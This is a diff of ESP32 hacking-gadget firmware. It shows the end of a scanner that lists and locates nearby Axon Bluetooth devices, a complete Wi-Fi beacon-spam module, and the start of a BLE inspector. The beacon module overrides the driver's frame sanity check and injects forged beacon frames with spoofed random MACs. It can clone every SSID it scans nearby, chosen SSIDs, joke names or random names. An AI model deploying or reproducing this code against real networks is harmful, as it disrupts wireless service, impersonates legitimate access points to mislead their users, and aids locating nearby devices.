(axonDevices.size() >= MAX_DEVICES) { + std::sort(axonDevices.begin(), axonDevices.end(), + [](const AxonDeviceData &a, const AxonDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + axonDevices.erase(axonDevices.begin(), + axonDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + scanCompleted = false; + isScanning = true; + esp_ble_gap_start_scanning(effectiveScanDuration); + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)axonDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !axonDevices.empty()) { + isDetailView = true; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !axonDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, axonDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + if (!isScanning) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } + } + + if (axonDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + } else { + currentIndex = constrain(currentIndex, 0, (int)axonDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)axonDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (axonDevices.empty() && scanCompleted && !isScanning && + now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (axonDevices.empty()) { + if (isContinuousScanEnabled()) { + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Axon Devices..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No Axon devices"); + u8g2.drawStr(0, 20, "found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 35, timeStr); + u8g2.drawStr(0, 50, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = axonDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "%s", maskedAddress); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView && !axonDevices.empty() && currentIndex >= 0 && currentIndex < (int)axonDevices.size()) { + u8g2.setFont(u8g2_font_5x8_tr); + auto &dev = axonDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "Name: %s", maskedName); + u8g2.drawStr(0, 10, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "MAC: %s", maskedAddress); + u8g2.drawStr(0, 20, buf); + + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 30, buf); + + snprintf(buf, sizeof(buf), "Age: %lus", (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 40, buf); + + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "Axon Devices: %d/%d", + (int)axonDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)axonDevices.size()) + break; + + auto &d = axonDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + + char line[32]; + const char* displayName = d.name[0] ? d.name : "Axon Device"; + char maskedName[33]; + maskName(displayName, maskedName, sizeof(maskedName) - 1); + snprintf(line, sizeof(line), "%.8s | RSSI %d", + maskedName, d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/beacon_spam.cpp b/cyd-port/src/beacon_spam.cpp new file mode 100644 index 0000000..e4439bd --- /dev/null +++ b/cyd-port/src/beacon_spam.cpp @@ -0,0 +1,697 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include + +#include "../include/beacon_spam.h" +#include "../include/display_mirror.h" +#include "../include/radio_manager.h" +#include "../include/setting.h" +#include "../include/sleep_manager.h" +#include "esp_event.h" +#include "esp_wifi.h" + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +// Disable frame sanity checks +extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, + int32_t arg3) { + return 0; +} + +namespace { + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT + +const char ssids[] PROGMEM = { + "Mom Use This One\n" + "Abraham Linksys\n" + "Benjamin FrankLAN\n" + "Martin Router King\n" + "John Wilkes Bluetooth\n" + "Pretty Fly for a Wi-Fi\n" + "Bill Wi the Science Fi\n" + "I Believe Wi Can Fi\n" + "Tell My Wi-Fi Love Her\n" + "No More Mister Wi-Fi\n" + "Subscribe to TalkingSasquach\n" + "jbohack was here\n" + "zr_crackiin was here\n" + "nyandevices.com\n" + "LAN Solo\n" + "The LAN Before Time\n" + "Silence of the LANs\n" + "House LANister\n" + "Winternet Is Coming\n" + "Ping's Landing\n" + "The Ping in the North\n" + "This LAN Is My LAN\n" + "Get Off My LAN\n" + "The Promised LAN\n" + "The LAN Down Under\n" + "FBI Surveillance Van 4\n" + "Area 51 Test Site\n" + "Drive-By Wi-Fi\n" + "Planet Express\n" + "Wu Tang LAN\n" + "Darude LANstorm\n" + "Never Gonna Give You Up\n" + "Hide Yo Kids, Hide Yo Wi-Fi\n" + "Loading…\n" + "Searching…\n" + "VIRUS.EXE\n" + "Virus-Infected Wi-Fi\n" + "Starbucks Wi-Fi\n" + "Text ###-#### for Password\n" + "Yell ____ for Password\n" + "The Password Is 1234\n" + "Free Public Wi-Fi\n" + "No Free Wi-Fi Here\n" + "Get Your Own Damn Wi-Fi\n" + "It Hurts When IP\n" + "Dora the Internet Explorer\n" + "404 Wi-Fi Unavailable\n" + "Porque-Fi\n" + "Titanic Syncing\n" + "Test Wi-Fi Please Ignore\n" + "Drop It Like It's Hotspot\n" + "Life in the Fast LAN\n" + "The Creep Next Door\n" + "Ye Olde Internet\n" + "Lan Before Time\n" + "Lan Of The Lost\n"}; + +static int ssidOffsets[64]; +static int ssidLengths[64]; +static int totalCustomSSIDs = 0; +static uint8_t macAddr[6]; +static uint8_t wifi_channel = 1; +static uint32_t currentTime = 0; +static uint8_t lastTxChannel = 0; +static const int POOL_SIZE = 10; +static const int POOL_LIFETIME = 5; + +struct PoolEntry { + char ssid[33]; + uint8_t mac[6]; + bool wpa2; + uint8_t age; +}; +static PoolEntry pool[POOL_SIZE]; +static bool poolReady = false; + +static void poolFillRandom(PoolEntry& e) { + static const char chars[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_ "; + int len = random(5, 33); + for (int i = 0; i < len; i++) e.ssid[i] = chars[random(sizeof(chars) - 1)]; + e.ssid[len] = '\0'; + for (int i = 0; i < 6; i++) e.mac[i] = (uint8_t)random(256); + e.mac[0] = (e.mac[0] | 0x02) & 0xFE; + e.wpa2 = random(10) < 4; + e.age = 0; +} + +static void poolFillCustom(PoolEntry& e) { + int idx = (totalCustomSSIDs > 0) ? random(totalCustomSSIDs) : 0; + int len = (totalCustomSSIDs > 0) ? ssidLengths[idx] : 0; + if (len > 32) len = 32; + for (int k = 0; k < len; k++) + e.ssid[k] = (char)pgm_read_byte(ssids + ssidOffsets[idx] + k); + e.ssid[len] = '\0'; + for (int i = 0; i < 6; i++) e.mac[i] = (uint8_t)random(256); + e.mac[0] = (e.mac[0] | 0x02) & 0xFE; + e.wpa2 = random(10) < 4; + e.age = 0; +} + +static void randomMac() { + for (int i = 0; i < 6; i++) macAddr[i] = (uint8_t)random(256); + macAddr[0] = (macAddr[0] | 0x02) & 0xFE; +} + +static void sendBeaconFrame(const char* ssid, uint8_t ssidLen, uint8_t channel, + bool wpa2) { + static const uint8_t rsn[] = {0x30, 0x18, 0x01, 0x00, 0x00, 0x0F, 0xAC, + 0x02, 0x02, 0x00, 0x00, 0x0F, 0xAC, 0x04, + 0x00, 0x0F, 0xAC, 0x02, 0x01, 0x00, 0x00, + 0x0F, 0xAC, 0x02, 0x00, 0x00}; + + uint8_t frame[109]; + uint8_t* p = frame; + *p++ = 0x80; + *p++ = 0x00; + *p++ = 0x00; + *p++ = 0x00; + memset(p, 0xFF, 6); + p += 6; + memcpy(p, macAddr, 6); + p += 6; + memcpy(p, macAddr, 6); + p += 6; + uint16_t seq = (uint16_t)(random(4096) << 4); + *p++ = seq & 0xFF; + *p++ = seq >> 8; + uint64_t ts = (uint64_t)esp_timer_get_time(); + memcpy(p, &ts, 8); + p += 8; + *p++ = 0x64; + *p++ = 0x00; + *p++ = wpa2 ? 0x11 : 0x01; + *p++ = 0x04; + *p++ = 0x00; + *p++ = ssidLen; + memcpy(p, ssid, ssidLen); + p += ssidLen; + *p++ = 0x01; + *p++ = 0x08; + *p++ = 0x82; + *p++ = 0x84; + *p++ = 0x8B; + *p++ = 0x96; + *p++ = 0x0C; + *p++ = 0x18; + *p++ = 0x30; + *p++ = 0x48; + + *p++ = 0x03; + *p++ = 0x01; + *p++ = channel; + + if (wpa2) { + memcpy(p, rsn, sizeof(rsn)); + p += sizeof(rsn); + } + + if (channel != lastTxChannel) { + esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); + lastTxChannel = channel; + } + + esp_wifi_80211_tx(WIFI_IF_AP, frame, (int)(p - frame), false); +} + +static void sendBeacon(const char* ssid, uint8_t channel) { + randomMac(); + uint8_t len = (uint8_t)strnlen(ssid, 32); + bool wpa2 = random(10) < 4; + sendBeaconFrame(ssid, len, channel, wpa2); + delay(1); + sendBeaconFrame(ssid, len, channel, wpa2); +} + +static void spamPool(void (*fill)(PoolEntry&), uint8_t ch) { + for (int i = 0; i < POOL_SIZE; i++) { + memcpy(macAddr, pool[i].mac, 6); + uint8_t len = (uint8_t)strnlen(pool[i].ssid, 32); + sendBeaconFrame(pool[i].ssid, len, ch, pool[i].wpa2); + delay(1); + if (++pool[i].age >= POOL_LIFETIME) fill(pool[i]); + } +} + +static void nextChannel() { + static uint8_t idx = 0; + static const uint8_t chs[] = {1, 6, 11}; + wifi_channel = chs[idx]; + idx = (idx + 1) % 3; + esp_wifi_set_channel(wifi_channel, WIFI_SECOND_CHAN_NONE); + lastTxChannel = 0; +} + +enum BeaconSpamMode { + BEACON_SPAM_MENU, + BEACON_SPAM_CLONE_ALL, + BEACON_SPAM_CLONE_SELECTED, + BEACON_SPAM_CUSTOM, + BEACON_SPAM_RANDOM, + BEACON_SPAM_SCANNING +}; + +struct ClonedSSID { + char ssid[33]; + uint8_t channel; + bool selected; +}; + +static BeaconSpamMode beaconSpamMode = BEACON_SPAM_MENU; +static BeaconSpamMode lastBeaconSpamMode = BEACON_SPAM_MENU; +static BeaconSpamMode returnToMode = BEACON_SPAM_MENU; +static int menuSelection = 0; +static int ssidIndex = 0; +static bool needsRedraw = true; +static int lastMenuSelection = -1; +static int lastSSIDIndex = -1; +static int lastScannedSSIDsSize = 0; +static bool lastSSIDSelectedState = false; + +static const unsigned long SCAN_INTERVAL = 30000; +static const unsigned long SCAN_DURATION = 8000; +static const unsigned long DISPLAY_UPDATE_INTERVAL = 100; +static unsigned long beacon_lastScanTime = 0; +static unsigned long beacon_scanStartTime = 0; +static unsigned long beacon_lastDisplayUpdate = 0; +static uint16_t beacon_lastApCount = 0; +static bool beacon_isScanning = false; + +std::vector scannedSSIDs; +std::vector oldSSIDList; +static const int MAX_CLONE_SSIDS = 50; + +static void drawBeaconSpamMenu() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Beacon Spam Mode:"); + u8g2.drawStr(0, 22, menuSelection == 0 ? "> Clone All" : " Clone All"); + u8g2.drawStr(0, 32, + menuSelection == 1 ? "> Clone Selected" : " Clone Selected"); + u8g2.drawStr(0, 42, menuSelection == 2 ? "> Custom" : " Custom"); + u8g2.drawStr(0, 52, menuSelection == 3 ? "> Random" : " Random"); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 64, "U/D=Move R=OK SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void drawSSIDList() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "Select SSID to clone"); + if (!scannedSSIDs.empty()) { + char maskedSSID[33]; + maskName(scannedSSIDs[ssidIndex].ssid, maskedSSID, sizeof(maskedSSID) - 1); + char line1[32]; + snprintf(line1, sizeof(line1), "%s Ch:%d", maskedSSID, + scannedSSIDs[ssidIndex].channel); + u8g2.drawStr(0, 28, line1); + u8g2.drawStr( + 0, 44, + scannedSSIDs[ssidIndex].selected ? "[*] Selected" : "[ ] Not selected"); + } else { + u8g2.drawStr(0, 30, "No SSIDs found"); + } + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "U/D=Move R=Toggle L=Back"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void processScanResults() { + uint16_t number = 0; + esp_wifi_scan_get_ap_num(&number); + if (number == 0) return; + + wifi_ap_record_t* ap = + (wifi_ap_record_t*)malloc(sizeof(wifi_ap_record_t) * number); + if (!ap) return; + memset(ap, 0, sizeof(wifi_ap_record_t) * number); + + uint16_t actual = number; + if (esp_wifi_scan_get_ap_records(&actual, ap) == ESP_OK) { + for (int i = 0; i < actual && (int)scannedSSIDs.size() < MAX_CLONE_SSIDS; + i++) { + if (ap[i].ssid[0] == '\0') continue; + bool found = false; + for (const auto& e : scannedSSIDs) + if (strcmp(e.ssid, (char*)ap[i].ssid) == 0 && + e.channel == ap[i].primary) { + found = true; + break; + } + if (!found) { + ClonedSSID entry; + strncpy(entry.ssid, (char*)ap[i].ssid, sizeof(entry.ssid) - 1); + entry.ssid[sizeof(entry.ssid) - 1] = '\0'; + entry.channel = ap[i].primary; + entry.selected = false; + for (const auto& old : oldSSIDList) + if (strcmp(old.ssid, entry.ssid) == 0 && + old.channel == entry.channel) { + entry.selected = old.selected; + break; + } + scannedSSIDs.push_back(entry); + } + } + } + free(ap); +} + +static void startSSIDScan(BeaconSpamMode returnMode) { + oldSSIDList = scannedSSIDs; + scannedSSIDs.clear(); + beacon_isScanning = true; + beacon_lastApCount = 0; + beacon_scanStartTime = millis(); + beacon_lastDisplayUpdate = millis(); + returnToMode = returnMode; + + esp_wifi_stop(); + esp_wifi_set_mode(WIFI_MODE_STA); + esp_wifi_start(); + delay(100); + + wifi_scan_config_t cfg = {.ssid = NULL, + .bssid = NULL, + .channel = 0, + .show_hidden = false, + .scan_type = WIFI_SCAN_TYPE_ACTIVE, + .scan_time = {.active = {.min = 120, .max = 200}}}; + esp_wifi_scan_start(&cfg, false); + beaconSpamMode = BEACON_SPAM_SCANNING; + needsRedraw = true; +} + +static void updateSSIDScan() { + unsigned long now = millis(); + uint16_t apCount = 0; + esp_wifi_scan_get_ap_num(&apCount); + bool refresh = (apCount > beacon_lastApCount); + if (refresh) { + processScanResults(); + beacon_lastApCount = apCount; + } + + if (refresh || now - beacon_lastDisplayUpdate > DISPLAY_UPDATE_INTERVAL) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning WiFi..."); + char buf[32]; + snprintf(buf, sizeof(buf), "Found: %d networks", (int)scannedSSIDs.size()); + u8g2.drawStr(0, 25, buf); + u8g2.drawFrame(4, 35, 120, 10); + int fill = (int)(((now - beacon_scanStartTime) * 116UL) / SCAN_DURATION); + if (fill > 116) fill = 116; + if (fill > 0) u8g2.drawBox(6, 37, fill, 6); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + beacon_lastDisplayUpdate = now; + } + + if (now - beacon_scanStartTime > SCAN_DURATION) { + processScanResults(); + esp_wifi_scan_stop(); + esp_wifi_stop(); + esp_wifi_set_mode(WIFI_MODE_AP); + esp_wifi_start(); + delay(50); + lastTxChannel = 0; + + beacon_isScanning = false; + beacon_lastScanTime = now; + beaconSpamMode = returnToMode; + needsRedraw = true; + if (ssidIndex >= (int)scannedSSIDs.size() && !scannedSSIDs.empty()) + ssidIndex = 0; + } +} +} + +void beaconSpamSetup() { + randomSeed((uint32_t)esp_random()); + beacon_isScanning = false; + beacon_lastApCount = 0; + + initWiFi(WIFI_MODE_AP); + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + + totalCustomSSIDs = 0; + int pLen = (int)strlen_P(ssids); + int lineStart = 0; + for (int i = 0; i <= pLen && totalCustomSSIDs < 64; i++) { + char c = (i < pLen) ? (char)pgm_read_byte(ssids + i) : '\n'; + if (c == '\n') { + if (i > lineStart) { + ssidOffsets[totalCustomSSIDs] = lineStart; + ssidLengths[totalCustomSSIDs] = i - lineStart; + totalCustomSSIDs++; + } + lineStart = i + 1; + } + } + + beaconSpamMode = BEACON_SPAM_MENU; + lastBeaconSpamMode = BEACON_SPAM_MENU; + menuSelection = 0; + ssidIndex = 0; + poolReady = false; + beacon_lastScanTime = millis(); + scannedSSIDs.clear(); + + needsRedraw = true; + lastMenuSelection = -1; + lastSSIDIndex = -1; + lastScannedSSIDsSize = 0; + lastSSIDSelectedState = false; + + drawBeaconSpamMenu(); +} + +void beaconSpamLoop() { + currentTime = millis(); + + bool up = digitalRead(BTN_UP) == LOW; + bool down = digitalRead(BTN_DOWN) == LOW; + bool left = digitalRead(BTN_BACK) == LOW; + bool right = digitalRead(BTN_RIGHT) == LOW; + + bool anySelected = false; + for (const auto& e : scannedSSIDs) + if (e.selected) { + anySelected = true; + break; + } + + if ((beaconSpamMode == BEACON_SPAM_CLONE_ALL || + beaconSpamMode == BEACON_SPAM_CLONE_SELECTED) && + !anySelected && currentTime - beacon_lastScanTime >= SCAN_INTERVAL) { + startSSIDScan(beaconSpamMode); + return; + } + + if (beaconSpamMode == BEACON_SPAM_SCANNING) { + updateSSIDScan(); + return; + } + + if (lastBeaconSpamMode != beaconSpamMode) { + lastBeaconSpamMode = beaconSpamMode; + needsRedraw = true; + poolReady = false; + } + + switch (beaconSpamMode) { + case BEACON_SPAM_MENU: + if (lastMenuSelection != menuSelection) { + lastMenuSelection = menuSelection; + needsRedraw = true; + } + + if (up) { + menuSelection = (menuSelection - 1 + 4) % 4; + needsRedraw = true; + delay(200); + } + if (down) { + menuSelection = (menuSelection + 1) % 4; + needsRedraw = true; + delay(200); + } + if (right) { + if (menuSelection == 0) { + startSSIDScan(BEACON_SPAM_CLONE_ALL); + } else if (menuSelection == 1) { + startSSIDScan(BEACON_SPAM_CLONE_SELECTED); + } else if (menuSelection == 2) { + beaconSpamMode = BEACON_SPAM_CUSTOM; + } else { + beaconSpamMode = BEACON_SPAM_RANDOM; + } + needsRedraw = true; + delay(200); + } + + if (needsRedraw) { + needsRedraw = false; + drawBeaconSpamMenu(); + } + break; + + case BEACON_SPAM_CLONE_ALL: + if (lastScannedSSIDsSize != (int)scannedSSIDs.size()) { + lastScannedSSIDsSize = (int)scannedSSIDs.size(); + needsRedraw = true; + } + if (needsRedraw) { + needsRedraw = false; + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Clone All SSIDs"); + char buf[32]; + snprintf(buf, sizeof(buf), "Count: %d", (int)scannedSSIDs.size()); + u8g2.drawStr(0, 25, buf); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 40, "Spamming on CH: 1,6,11"); + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + { + static unsigned long lastBatch = 0; + if (currentTime - lastBatch >= 20) { + lastBatch = currentTime; + for (const auto& e : scannedSSIDs) { + sendBeacon(e.ssid, e.channel); + } + } + } + + if (left) { + beaconSpamMode = BEACON_SPAM_MENU; + needsRedraw = true; + delay(200); + } + break; + + case BEACON_SPAM_CLONE_SELECTED: { + bool selState = + !scannedSSIDs.empty() ? scannedSSIDs[ssidIndex].selected : false; + + if (lastSSIDIndex != ssidIndex || + lastScannedSSIDsSize != (int)scannedSSIDs.size() || + lastSSIDSelectedState != selState) { + lastSSIDIndex = ssidIndex; + lastScannedSSIDsSize = (int)scannedSSIDs.size(); + lastSSIDSelectedState = selState; + needsRedraw = true; + } + + if (up && !scannedSSIDs.empty()) { + ssidIndex = (ssidIndex - 1 + scannedSSIDs.size()) % scannedSSIDs.size(); + needsRedraw = true; + delay(200); + } + if (down && !scannedSSIDs.empty()) { + ssidIndex = (ssidIndex + 1) % scannedSSIDs.size(); + needsRedraw = true; + delay(200); + } + if (right && !scannedSSIDs.empty()) { + scannedSSIDs[ssidIndex].selected = !scannedSSIDs[ssidIndex].selected; + needsRedraw = true; + delay(200); + } + if (left) { + beaconSpamMode = BEACON_SPAM_MENU; + needsRedraw = true; + delay(200); + } + + if (needsRedraw) { + needsRedraw = false; + drawSSIDList(); + } + + if (anySelected) { + static unsigned long lastBeacon = 0; + if (currentTime - lastBeacon >= 20) { + lastBeacon = currentTime; + for (const auto& e : scannedSSIDs) { + if (e.selected) sendBeacon(e.ssid, e.channel); + } + } + } + } break; + + case BEACON_SPAM_CUSTOM: + if (needsRedraw) { + needsRedraw = false; + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Beacon Spam: Custom"); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 25, "Spamming on CH: 1,6,11"); + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + { + static uint8_t sweepCount = 0; + + if (!poolReady) { + for (int i = 0; i < POOL_SIZE; i++) poolFillCustom(pool[i]); + poolReady = true; + sweepCount = 0; + } + + spamPool(poolFillCustom, wifi_channel); + + if (++sweepCount >= 20) { + sweepCount = 0; + nextChannel(); + } + } + + if (left) { + beaconSpamMode = BEACON_SPAM_MENU; + needsRedraw = true; + delay(200); + } + break; + + case BEACON_SPAM_RANDOM: + if (needsRedraw) { + needsRedraw = false; + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Beacon Spam: Random"); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 25, "Spamming on CH: 1,6,11"); + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + { + static uint8_t sweepCount = 0; + + if (!poolReady) { + for (int i = 0; i < POOL_SIZE; i++) poolFillRandom(pool[i]); + poolReady = true; + sweepCount = 0; + } + + spamPool(poolFillRandom, wifi_channel); + + if (++sweepCount >= 20) { + sweepCount = 0; + nextChannel(); + } + } + + if (left) { + beaconSpamMode = BEACON_SPAM_MENU; + menuSelection = 3; + needsRedraw = true; + delay(200); + } + break; + } +} \ No newline at end of file diff --git a/cyd-port/src/ble_inspector.cpp b/cyd-port/src/ble_inspector.cpp new file mode 100644 index 0000000..44adad9 --- /dev/null +++ b/cyd-port/src/ble_inspector.cpp @@ -0,0 +1,844 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/ble_inspector.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include +#include +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT + +std::vector bleInspectorDevices; + +static const int MAX_DEVICES = 100; +static const int MAX_ROWS = 60; +static const int VISIBLE = 5; + +static int currentIndex = 0; +static int listStartIndex = 0; +enum BLEInspView { BLEINSP_LIST, BLEINSP_DETAIL, BLEINSP_LOCATE }; +static BLEInspView inspView = BLEINSP_LIST; +static char locateTargetAddress[18] = {0}; + +static char detailRows[MAX_ROWS][26]; +static int numRows = 0; +static int detailScrollOffset = 0; + +static unsigned long lastButtonPress = 0; +static const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +static unsigned long lastCountdownUpd = 0; +static const unsigned long locateUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +static const unsigned long scanInterval = 120000; +static const uint32_t scanDuration = 8; + +static bool bleInitialized = false; +static bool scanCompleted = false; + +static esp_ble_scan_params_t ble_inspector_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static const char* addrTypeName(uint8_t t) { + switch (t) { + case 0x00: return "Public"; + case 0x01: return "Random Static"; + case 0x02: return "RPA (Public)"; + case 0x03: return "RPA (Random)"; + default: return "Unknown"; + } +} + 